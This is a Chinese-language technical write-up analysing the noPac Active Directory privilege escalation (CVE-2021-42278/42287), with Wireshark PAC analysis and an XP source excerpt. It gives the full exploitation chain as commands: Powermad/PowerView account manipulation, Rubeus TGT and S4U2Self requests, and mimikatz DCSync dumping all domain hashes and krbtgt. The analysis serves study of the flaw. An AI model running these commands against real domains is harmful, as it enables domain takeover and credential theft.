noPac 分析

本文主要记录了通过 WireShark 解开 Kerberos 协议对 noPac 漏洞进行详细分析.

漏洞简介

noPac 其实是两个漏洞的组合利用:

  1. 首先利用了 CVE-2021-42278 漏洞, 这个漏洞使用 sAMAccountName 欺骗冒充域控.

  2. 接着利用了 CVE-2021-42287 漏洞, 这个漏洞主要是会在查找不到用户时在其 sAMAccountName 结尾加入 $ 继续查询.

漏洞原理

  1. 创建计算机帐户, 清除创建的计算机帐户的 SPN (servicePrincipalName).

  2. 将创建的计算机帐户的 sAMAccountName 更改为域控的主机名, 注意后面不带 $ 符号 (如: DC) —> CVE-2021-42278.

  3. 为创建的计算机帐户申请 TGT.

  4. 恢复创建的计算机帐户的 sAMAccountName 值 (随便命名均可).

  5. 使用创建的计算机帐户获取到的 TGT 向域控发起 S4U2Self 请求 ST —> CVE-2021-42287.

  6. 使用获取到的 ST 进行 DCSync 攻击等 …

sAMAccountName

在域中每一个用户即是一个对象, 每个对象都具有各种各样的属性, 其中就包括姓名, 创建时间, 邮箱地址等关于这个用户的信息, 而每个域用户的用户名对应的属性值便为 userPrincipalName 和 sAMAccountName.

那为什么是两个呢?因为在 Windows 2000 之前使用的是 sAMAccountName, 在 Windows 2000 之后出现了新的属性 UserPrincipalName (UPN), 它也可以用来登录到域内主机, 这两个现在都可以作为登录用户名使用.

我们可以连接 ldap 进行查看域用户 wangxiaohong 的 sAMAccountName 值为 wangxiaohong, 平时常使用 “域名\用户名” 的格式来登录, UserPrincipalName 值为 wangxiaohong@missyou.com 为 “用户名@域名” 的格式.

CVE-2021-42278 - sAMAccountName spoofing

为了区分用户帐户和计算机帐户, 计算机帐户应在其 sAMAccountName 属性中以 $ 结尾. 但 Active Directory 并未对计算机帐户 sAMAccountName 属性进行验证.

在默认设置下以及未打补丁时, 普通用户最多能创建 10 个计算机帐户, 作为其所有者, 用户也有权编辑其创建的计算机帐户的 sAMAccountName 属性.

域用户 ligang 的 sAMAccountName 为 ligang.

计算机帐户 win-2008r2-2 的 sAMAccountName 为 WIN-2008r2-2$.

CVE-2021-42287 - KDC bamboozling

这个漏洞主要是欺骗 KDC.

使用 Kerberos 执行身份验证时, 会从密钥分发中心 (KDC) 请求 TGT 和 ST, 如果为无法找到的帐户请求 ST, KDC 将尝在其 sAMAccountName 结尾添加 $ 再次搜索.

例如: 如果有一个 sAMAccountName 为 DC$ 的域控, 攻击者创建一个新的计算机帐户并将其 sAMAccountName 重命名为 DC, 请求 TGT, 之后恢复创建的计算机帐户的 sAMAccountName, 并使用请求到的 TGT 去请求一个 ST, 在处理 ST 请求时, KDC 将无法查找到计算机帐户 DC, 因此, KDC 将在其结尾处添加 $ (此时就变成了域控计算机帐户 DC$) 进行另一次查找, 查找将成功, 因此, KDC 将使用 DC$ 的权限签发 ST.

这里需要用到 S4U2SelfPAC 的相关知识, 建议先了解再来跟进 noPac 漏洞.

从 XP 源码看相关函数如下:

可以看到, 当找不到用户时, 系统并不会直接提示找不到帐户, 而是会在其后面添加 $ 符号, 将其作为计算机帐户再次查找.

Status = SamIGetUserLogonInformation2(
               GlobalAccountDomainHandle, 
               LookupFlags, 
               UserName, 
               WhichFields, 
               ExtendedFields, 
               &UserInfo, 
               &LocalMembership, 
               &LocalUserHandle
               );

   //
   // WASBUG: For now,  if we couldn't find the account try again
   // with a '$' at the end (if there wasn't one already)
   //

   if (((Status == STATUS_NOT_FOUND) ||
      (Status == STATUS_NO_SUCH_USER)) &&
      (!IsValidGuid) &&
      ((LookupFlags & ~SAM_NO_MEMBERSHIPS) == 0) &&
      (UserName->Length >= sizeof(WCHAR)) &&
      (UserName->Buffer[UserName->Length/sizeof(WCHAR)-1] != L'$'))
   {
      Status = KerbDuplicateString(
                  &TempString, 
                  UserName
                  );
      if (!NT_SUCCESS(Status))
      {
            KerbErr = KRB_ERR_GENERIC;
            goto Cleanup;
      }
      DsysAssert(TempString.MaximumLength >= TempString.Length + sizeof(WCHAR));
      TempString.Buffer[TempString.Length/sizeof(WCHAR)] = L'$';
      TempString.Length += sizeof(WCHAR);

      D_DebugLog((DEB_TRACE,  "Account not found , trying 计算机帐户 %wZ\n", 
            &TempString ));

      Status = SamIGetUserLogonInformation2(
                  GlobalAccountDomainHandle, 
                  LookupFlags, 
                  &TempString, 
                  WhichFields, 
                  ExtendedFields, 
                  &UserInfo, 
                  &LocalMembership, 
                  &LocalUserHandle
                  );
   }

利用过程

新增计算机帐户

利用 Powermad.ps1 新增计算机帐户.

New-MachineAccount -MachineAccount "test1a" -Domain "missyou.com" -DomainController "DC.missyou.com" -Verbose

清除新增的计算机帐户的 SPN

如果是通过 Impacket 中的 addcomputer.py 添加的计算机帐户默认不会包含SPN, 所以可省略清除 SPN 的步骤.

利用 PowerView.ps1 清除新增的计算机帐户的 SPN.

Set-DomainObject "CN=test1a, CN=Computers, DC=missyou, DC=com" -Clear 'servicePrincipalName' -DomainController "DC.missyou.com" -Verbose

当计算机帐户创建时便默认携带了 SPN, 如果修改了 sAMAccountName, dNSHostName 或 msDS-AdditionalsAMAccountName 其中的一个, 那么 SPN 将会使用新值替换. 要是修改了 sAMAccountName 为域控的主机名, 那么其 SPN 将会变成域控的 SPN, Kerberos 身份验证使用它来将服务实例与服务登录帐户相关联, SPN 在注册它的林中必须是唯一的. 如果它不唯一, 身份验证将失败, 域控也不会处理这样的请求, 会报错: 使用 “0” 个参数调用 “SetInfo” 时发生异常: “该服务器不愿意处理该请求.”

但如果 SPN 在设置 sAMAccountName, dNSHostName 或 msDS-AdditionalsAMAccountName 属性之前已被删除, 那么 SPN 列表将不会更新, 除非再次给 servicePrincipalName 字段赋值. 所以在修改 sAMAccountName 前删除其 SPN 属性.

更改计算机帐户的 sAMAccountName

利用 Powermad.ps1 更改创建的计算机帐户的 sAMAccountName 为域控的主机名, 注意这里不带 $.

Set-MachineAccountAttribute -MachineAccount "test1a" -Value "DC" -Attribute 'sAMAccountName' -DomainController "DC.missyou.com" -Verbose

之所以不带 $ , 是由于 CVE-2021-42278 漏洞, 且域用户对其创建的计算机帐户有 “WriteProperty” 权限, 所以 sAMAccountName 可以修改其为任意值, 只要不与域内其他 sAMAccountName 重复就行.

域控的 sAMAccountName 为 DC$, 如果修改为带 $ 会导致 sAMAccountName 冲突, 修改失败, 报错: 使用 “0” 个参数调用 “SetInfo” 时发生异常: “对象已存在.”

利用 PowerView.ps1 验证: 域用户对其创建的计算机帐户 sAMAccountName 对象有 “WriteProperty” 权限.

ConvertTo-SID "missyou\ligang"
Get-DomainObjectAcl -Identity test1a -domain missyou.com -ResolveGUIDs

而计算机帐户本身对其 sAMAccountName 对象是无 “WriteProperty” 权限的.

使用创建的计算机帐户申请 TGT

此处申请的 TGT 并不是域控计算机帐户的 TGT, 当把创建的计算机帐户的 sAMAccountName 修改为 DC 的主机名 (DC)之后, 域控只会生成一个属于该计算机帐户 (DC) 的 TGT . (而域控计算机户的 sAMAccountName 为 DC$).

Rubeus3.5.exe asktgt /user:"DC" /password:"123" /domain:"missyou.com" /dc:"DC.missyou.com" /outfile:dc.kirbi

恢复计算机帐户的 sAMAccountName

利用 Powermad.ps1 恢复更改计算机帐户的 sAMAccountName 为 test1a$.

Set-MachineAccountAttribute -MachineAccount "test1a" -Value "test1a$" -Attribute 'sAMAccountName' -DomainController "DC.missyou.com" -Verbose

获取 ST

在这步我们向域控发起 S4U2Self 请求, 这里就设计到一个 KDC 的漏洞 CVE-2021-42287.

如果 Administrator 被禁用, 就使用其他域管用户.

Rubeus3.5.exe s4u /ticket:dc.kirbi /impersonateuser:"Administrator" /altservice:"LDAP/DC.missyou.com" /dc:"DC.missyou.com" /ptt /self

DCSync

  1. 使用 mimikatz 获取域内的所有用户帐户和计算机帐户的 NT Hash.
mimikatz # lsadump::DCSync /domain:missyou.com /kdc:DC.missyou.com /csv /all
  1. 指定用户获取其 Hash.
mimikatz # lsadump::DCSync /domain:missyou.com /kdc:DC.missyou.com /user:krbtgt

WireShark 分析

AS-REQ

这里发出 AS-REQ 请求的帐户是我们创建的计算机帐户, 并且 sAMAccountName 已经修改为 DC (不带 $).

AS-REP

这里主要看下 PAC, 可以看到此时还是没有任何问题的, 权限还是我们创建的这个计算机帐户的权限, Acct Name: DC (创建的计算机帐户更改后的 sAMAccountName), Group RID: 515 (Domain Computers) 组.

TGS-REQ

这里是通过 S4U2Self 模拟 Administrator 用户请求 LDAP 服务的 ST.

注意 TGS-REQ 会携带 AS-REP 中的 TGT, 到这里也是没有任何问题的.

TGS-REP

这里就关注 ST 中的 PAC 就好了.

可以看到现在此时 PAC 已经是高权限了, Group RID: 512 (域管组).

这里就是因为我们恢复了创建的计算机帐户的 sAMAccountName 为 test1a$ (恢复前为 DC), 致使 TGS 找不到 sAMAccountName 为 DC 的帐户, 便会在 DC 结尾处添加 $ 变成域控的计算机帐户 DC$, 而我们又是通过 S4U2Self 模拟域管 Administrator 去申请访问 LDAP 服务的 ST, 那么域控本身的计算机帐户肯定有权限创建通过 S4U2Self 申请的 ST, PAC 中的身份也是 “高权身份”.

感谢耐心阅读, 文章仅供参考, 本人学艺不精, 不足之处欢迎师傅们指点和纠正!

工具

出于对 noPac 的原理学习, 在 cube0x0 的项目 基础上进行了一些更改, 并在源码中添加了个人的理解注释. 项目地址: https://github.com/TryA9ain/noPac.

参考

CVE-2021-42287 Windows域内提权漏洞分析

解析CVE-2021-42287与CVE-2021-42278

从XP源码泄露看NoPac漏洞

sAMAccountName Spoofing之九个为什么

0%